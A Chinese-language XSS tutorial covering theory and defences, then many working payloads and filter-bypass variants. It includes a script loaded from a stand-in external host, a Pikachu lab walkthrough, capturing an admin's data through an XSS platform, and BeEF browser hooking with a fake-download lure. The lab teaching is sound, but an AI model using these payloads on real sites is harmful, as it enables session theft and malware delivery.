细说XSS
目錄
- 什么是XSS
- 理解XSS
- 漏洞存在的主要原因
- XSS普遍流行的原因
- XSS的危害
- XSS分類
- 反射型XSS
- 存儲型XSS
- DOM型
- 攻擊載荷
- XSS構造
- 事件驅動
- XSS變形
- XSS插在哪
- XSS挖掘
- 黑盒測試
- 白盒測試(代碼審計)**?**
- 禁盜Cookie
- 案例
- XSS平臺利用
- Pikachu靶機XSS(跨站腳本)
- 反射型xss(get)
- 反射型XSS(POST)
- 存儲型xss
- DOM型xss
- DOM型xss-x
- XSS盲打
- XSS之過濾
- XSS之htmlspecialchars
- XSS之href輸出
- XSS之js輸出
- BeEF
- BeEF使用教程
- 啟用BeEF
- 獲得XSS
- 戰果
- 下載惡意文件
- 靶場
- 參考
什么是XSS
跨站腳本(Cross-Site Scripting,XSS)是一種經常出現在Web應用程序中的計算機安全漏洞,是由于Web應用程序對用戶的輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和客戶端Javascript腳本)注入到網頁之中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。
- 通常情況下,我們既可以把跨站腳本理解成一種Web安全漏洞,也可以理解成一種攻擊手段。
- XSS跨站腳本攻擊本身對Web服務器沒有直接危害,它借助網站進行傳播,使網站的大量用戶受到攻擊。
- 攻擊者一般通過留言、電子郵件或其他途徑向受害者發送一個精心構造的惡意URL,當受害者在Web瀏覽器中打開該URL的時侯,惡意腳本會在受害者的計算機上悄悄執行,
理解XSS
還是有點費解的話,看看下面的演示,演示一個簡單的XSS:
在搭建了phpstudy的win2008靶機上,寫一個xss.php文件,內容是:
正常訪問如下:
輸入了<script>alert('xss')</script>之后,xss彈窗如下:
解釋:當我們輸入字符1的時候,直接被回顯出來了,如果輸入的是一段js內容,當這段js內容被回顯的時候,由于這段代碼是js的,這意味著它可以被瀏覽器識別出來,并且執行,于是這段js代碼被執行了,就是我們看到的一個彈窗。這就是一個簡單的XSS演示。
?
XSS能不能實現,跟瀏覽器也有一些關系,有時候是瀏覽器類型,有時候是瀏覽器版本,譬如,IE瀏覽器:
漏洞存在的主要原因
- 參數輸入未經過安全過濾
- 惡意腳本被輸出到網頁
- 用戶的瀏覽器執行了惡意腳本
XSS普遍流行的原因
(1)Web瀏覽器本身的設計是不安全的。瀏覽器包含了解析和執行JavaScript等腳本語言的能力,這些語言可用來創建各種格式豐富的功能,而瀏覽器只會執行,不會判斷數據和程序代碼是否惡意。
(2)輸入與輸出是Web應用程序最基本的交互,在這過程之中若沒做好安全防護,Web程序很容易會出現XSS漏洞。
(3)現在的應用程序大部分是通過團隊合作完成的,程序員之間的水平參差不齊,很少有人受過正規的安全培訓,因此,開發出來的產品難免存在問題。
(4)不管是開發人員還是安全工程師,很多都沒有真正意識到 XSS 漏洞的危害,導致這類漏洞普遍受到忽視。很多企業甚至缺乏專門的安全工程師,或者不愿意在安全問題上花費更多的時間和成本。
(5)觸發跨站腳本的方式非常簡單,只要向 HTML 代碼中注入腳本即可,而且執行此類攻擊的手段眾多,譬如利用CSS、Flash等。XSS技術的運用如此靈活多變,要做到完全防御是一件相當困難的事情。
(6)隨著Web 2.0的流行,網站上交互功能越來越豐富。Web 2.0鼓勵信息分享與交互,這樣用戶就有了更多的機會去查看和修改他人的信息,比如通過論壇、Blog 或社交網絡,于是黑客也就有了更廣闊的空間發動XSS攻擊。
XSS的危害
XSS分類
XSS根據其特性和利用手法的不同,主要分成兩大類型:一種是反射型跨站腳本;另一種是存儲型跨站腳本,有時還分DOM型。說有時是因為有人分了兩類,有人分類三類。
反射型XSS
反射型XSS是最常見,也是使用最廣的一種,主要用于將惡意腳本附加到URL地址的參數中
定義:
反射型XSS的利用一般是攻擊者通過特定手法(比如利用電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者點擊這些專門設計的鏈接的時候,惡意JavaScript代碼會直接在受害者主機上的瀏覽器執行。
特點:
它的特點是只在用戶單擊時觸發,而且只執行一次,非持久化,所以稱為反射型跨站式腳本。
危害:
通常出現在網站的搜索欄、用戶登入口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙
常用攻擊手段
常見攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時,服務器接收該用戶的請求并進行處理,然后服務器把帶有XSS代碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發XSS漏洞。
防御手段:
使用htmlspecialchars把我們XSS要用到的一些預定義字符轉化為HTML實體,導致無法再進行反射型XSS攻擊。
預定義字符包括:" 、'、<、>、&
存儲型XSS
持久型跨站腳本(Persistent Cross-site Scripting)也等于存儲型跨站腳本(Stored Cross-site Scripting),比反射型跨站腳本更具威脅性,并且可能影響到Web服務器自身的安全
定義:
存儲型XSS不需要用戶單擊特定URL就能執行跨站腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到漏洞服務器中,只要受害者瀏覽包含此惡意JavaScript代碼的頁面就會執行惡意代碼。
特點:
一般出現在網站的留言、評論、博客日志等交互處,惡意腳本被存儲到客戶端或者服務器的數據庫中,當其他用戶瀏覽該網頁時,站點即從數據庫中讀取惡意用戶存入的非法數據,然后顯示在頁面中,即在受害者主機上的瀏覽器執行惡意代碼。
危害:
持久型XSS不需要用戶去單擊URL進行觸發,所以它的危害比反射型XSS大,黑客可以利用它滲透網站、掛馬、釣魚……
更嚴重的是,利用此類 XSS 能夠輕易編寫危害性更大的 XSS 蠕蟲,跨站蠕蟲是使用Ajax/JavaScript腳本語言編寫的蠕蟲病毒,能夠在網站中實現病毒的幾何數級傳播,其感染速度和攻擊效果都非常可怕。XSS蠕蟲會直接影響到網站的所有用戶,也就是一個地方出現XSS漏洞,同站點下的所有用戶都可能被攻擊
常用攻擊手段
常見攻擊方法:該攻擊多見于論壇、博客和留言板,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入帖子的內容中。隨著帖子被服務器存儲下來,惡意腳本也永久地被存放在服務器的后端存儲器中。當其他用戶瀏覽這個被注入了惡意腳本的帖子時,惡意腳本就會在他們的瀏覽器中執行相關操作。
DOM型
首先,什么是DOM呢?
DOM是指文檔對象模型,是一個平臺中立和語言中立的接口,有的程序和腳本可以動態訪問和更新文檔的內容、結構和樣式。在web開發領域的技術浪潮中,DOM是開發者能用來提升用戶體驗的最重要的技術之一,而且幾乎所有的現在瀏覽器都支持DOM。
DOM本身是一個表達XML文檔的標準,HTML文檔從瀏覽器角度來說就是XML文檔,有了這些技術后,就可以通過javascript輕松訪問它們。下圖是一個HTML源代碼的DOM樹結構。
其次,什么是DOM-XSS呢?
通過修改頁面的DOM節點形成的XSS,稱之為DOM XSS。它和反射型XSS、存儲型XSS的差別在于,DOM XSS的XSS代碼并不需要服務器解析響應的直接參與,觸發XSS靠的就是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。
可能觸發DOM型XSS的屬性
常用攻擊方式:用戶請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼,導致存在XSS漏洞。
關于DOM型XSS有自動化工具:FinDOM-XSS,傳送門—>FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具
攻擊載荷
這里涉及到一些JavaScript的語法,你可以在bilibili搜索BV1Kr4y1M7Lv觀看某培訓機構提供的JavaScript全套課程,也可以在菜鳥教程中學習。你可以在控制臺中輸入代碼,來簡單的查看到效果
XSS構造
1:
<script>alert("hack")</script> #彈出hack <script>alert(/hack/)</script> #彈出hack <script>alert(1)</script> #彈出1,對于數字可以不用引號 <script>alert(document.cookie)</script> #彈出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss2:偽協議
可以使用javascript:偽協議的方式構造XSS
譬如:
3:XSS萬能模板
<sCr<scrscRiptipt>ipt>OonN\'\"<>事件驅動
“事件驅動”是一種比較經典的編程思想,在網頁會發生很多事件(比如鼠標移動,鍵盤輸入等),JS可以對這些事件進行響應,所以我們可以通過事件觸發JS函數,觸發XSS
事件種類:
- window事件:對window對象觸發的事件
- Form事件: HTML表內的動作觸發事件
- Mouse事件: 由鼠標或類似用戶動作觸發的事件
- Media事件: 由多媒體觸發的事件
如:【注意不要復制空格之類的玩意,不然沒效果】
<img src='./smile.jpg' onmouseover='alert(/xss/)'>這個標簽會引入一個圖片,然后鼠標懸停在圖片上的時候,出觸發XSS代碼
<img src=1 onerror=alert(/xss/)>由于圖片文件不存在觸發錯誤,出現彈窗
<input type="text" onkeydown="alert(/xss/)">當鼠標點擊鍵盤上任意一個按鍵的時候觸發
類似的
XSS變形
我們可以構造XSS代碼來做各種變形,以繞過XSS過濾器的檢測,有以下變形方式:
可以將payload進行大小寫轉換,如下:
<Img sRc = '#' Onerror = "alert(/xss/)"/> <a hREf = "javaScript:alert(/xss/)">click me</a>HTML語言對引號的使用不敏感,但是某些過濾函數是“錙銖必較”
<img src="#" onerror="alert(/xss/)"/> <img src='#' onerror='alert(/xss/)'/> <img src= # onerror= alert(/xss/)/>可以利用左斜線代替空格
<img/src='#'/οnerrοr='alert(/xss/)'/>可以在一些位置添加tab(水平制表符)和回車符,來繞過關鍵字檢測
把<A hREf="javascRipt:alert(/xss/)">click me!</a>變成
可以對標簽屬性進行轉碼,用來繞過過濾。譬如:
| a | 97 | a | d |
| e | 101 | e | e |
| s | 115 | s | s |
經過簡單編碼之后的樣子:
<A hREf="javascript:allert(/xss/)">click me</a>>可以
另外,可以將以下字符插入到任意位置:
| Tab | 	 |
| 換行 | 
 |
| 回車 | 
 |
可以將以下字符插入到頭部位置
| SOH(標題開始) |  |
| STX(本文開始) |  |
把一個XSS拆開來寫<script>alert("XSS");</script>
<script>z='alert'</script> <script>z=z+'(/xss)'</script> <script>eval(z)</script>把一個標簽寫兩次<script>
<scr<script>ipt>
XSS插在哪
- 用戶輸入作為script標簽內容
- 用戶輸入作為HTML注釋內容
- 用戶輸入作為HTML標簽的屬性名
- 用戶輸入作為HTML標簽的屬性值
- 用戶輸入作為HTML標簽的名字
- 直接插入到CSS里
- 最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里!
XSS挖掘
黑盒測試
盡可能找到一切用戶可控并且能夠輸出在頁面代碼中的地方,比如下面這些:
- URL的每一個參數
- URL本身
- 表單
- 搜索框
?
常見業務場景
- 重災區:評論區、留言區、個人信息、訂單信息等
- 針對型:站內信、網頁即時通訊、私信、意見反饋
- 存在風險:搜索框、當前目錄、圖片屬性等
白盒測試(代碼審計)?
關于XSS的代碼審計主要就是從接收參數的地方和一些關鍵詞入手。
PHP中常見的接收參數的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收參數的地方。然后對接收到的數據進行跟蹤,看看有沒有輸出到頁面中,然后看輸出到頁面中的數據是否進行了過濾和html編碼等處理。
也可以搜索類似echo這樣的輸出語句,跟蹤輸出的變量是從哪里來的,我們是否能控制,如果從數據庫中取的,是否能控制存到數據庫中的數據,存到數據庫之前有沒有進行過濾等等。
大多數程序會對接收參數封裝在公共文件的函數中統一調用,我們就需要審計這些公共函數看有沒有過濾,能否繞過等等。
同理審計DOM型注入可以搜索一些js操作DOM元素的關鍵詞進行審計。
禁盜Cookie
如果你在cookie中設置了HttpOnly屬性,那么通過js腳本將無法讀取到cookie信息,這樣能有效的防止XSS盜用Cookie,具體一點的介紹請自行上網搜索
案例
XSS平臺利用
有一種,為他人做嫁衣裳的感覺,實戰中還是用BeEF吧
上網隨便搜一個XSS平臺,我這里用的是https://xsshs.cn/xss.php
新建一個項目
選擇默認模塊即可
平臺提供了多種代碼風格,隨意選擇一個,不一定哪個能用
現在XSS準備完畢,準備靶場,這里使用一個存儲型
管理員登錄之后,查看留言,即可中招
回到XSS平臺就可以看見,如果看不見信息,說明可能被攔截了
Pikachu靶機XSS(跨站腳本)
實驗邏輯如下圖:
XSS漏洞的常見類型
危害:存儲型 > 反射型 > DOM型
1:反射型
交互的數據一般不會被存儲在數據庫里面,一次性的,所見即所得,一般出現在查詢類頁面等
2:存儲型
交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊頁面等
3:DOM型
不會與后臺服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性的類似反射型
XSS產生的原因
形成ⅩSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致“精心構造”的腳本輸入后,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
XSS測試流程
①在目標站點上找到輸入點,比如查詢接口留言板等
②輸入一組“特殊字符+唯一識別字符”,點擊提交后,查看返回的源碼,是否有做對應的處理
③通過搜索定位到唯一字符,結合唯一字符前后語法確認是否可以構造執行js的條件(構造閉合)
④提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞
反射型xss(get)
首先來試著隨便輸一下測試代碼,然后查看頁面源代碼
可以看到它沒做任何過濾,直接上<script>alert(/xss/)</script>在輸入代碼的時候發現有長度限制,先看看它是不是前端的,能不能繞過
有戲(注意,要先改長度限制,再輸入payload)
或者這樣繞過長度限制:利用HackBar
或者這樣繞過長度限制:直接在地址欄里面輸入
反射型XSS(POST)
1:按照提示登陸
2:輸入一個XSS代碼<script>alert(/xss/)</script>
3:回車彈窗
存儲型xss
方法同【反射型xss(get)】,先來一個測試代碼,接著查看頁面源代碼。
看起來沒有做過濾,那就直接上payload<script>alert(/xss/)</script>
DOM型xss
思路依然是先來一個測試代碼,然后查看頁面源代碼
所以,只需要閉合<a href='"+str+"'>即可,payload可以構造為:#' onclick="alert(/xss/)">
DOM型xss-x
老套路,測試代碼+頁面源代碼
發現和上一題基本一樣,payload繼續用#' onclick="alert(/xss/)">
XSS盲打
1:先盡可能多的提交一下
2:按照提示登陸后臺
3:登陸進去之后報了彈窗
XSS之過濾
大小寫繞過<ScriPT>alert(/xss/)</ScriPT>
雙寫繞過 <scri<script>pt>alert(/xss/)</scr</script>pt>
XSS之htmlspecialchars
輸入#' onclick='alert(1)'(建議手敲)
XSS之href輸出
使用偽協議javascript:alert(1);
XSS之js輸出
使用payload'</script><script>alert(/xss/)</script>
使用payloadtmac';alert(1);//
BeEF
BeEF使用教程
詳細使用參見:BeEF-XSS詳細使用教程
中文使用手冊:《BeEF中文文檔》
啟用BeEF
這里簡單介紹一下使用,最新版的kali好像移除了它,這里手動安裝一下
apt-get update # 更新源 apt-get install beef-xss # 安裝BeEF啟動BeEF
獲得XSS
在前面的章節“XSS平臺利用”中,已經演示過了,這里就簡單演示一下了。
在靶機的留言板處提交包含XSS代碼的內容
網站管理員查看了這條留言
戰果
回到BeEF,看到了有一臺機器上線了。看到了關于這臺機器的一些相關信息
BeEF的功能很強大,這里簡單演示一下其中的部分功能
下載惡意文件
一種社會工程學攻擊,上網搜一張Flash的圖片,復制圖片地址,然后點擊執行
靶機的頁面上出現了一個圖片鏈接,大大的圖片出現在屏幕中央,em,,,,這里應該使用一張矢量圖,效果會更好一些。鼠標放在圖片上,左下角可以看到圖片指向的地址。即,點擊圖片,就會下載你執行的一個文件。
靶場
XSS-change
XSSchallenge(1-13題)
?
xss.haozi.me
項目地址:https://github.com/haozi/xss-demo
項目答案:https://github.com/haozi/xss-demo/issues/1
在線靶場:https://xss.haozi.me/#/0x00
教程:xss靶場練習(一)之xss.haozi.me
參考
《XSS跨站腳本攻擊剖析與防御》
[網絡安全] 五.XSS跨站腳本攻擊詳解及分類-1
FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具
web漏洞 | XSS(跨站攻擊腳本)詳解
什么是HttpOnly
?
總結
- 上一篇: PHP开发环境搭建工具有哪些?
- 下一篇: Microsoft store 提示检查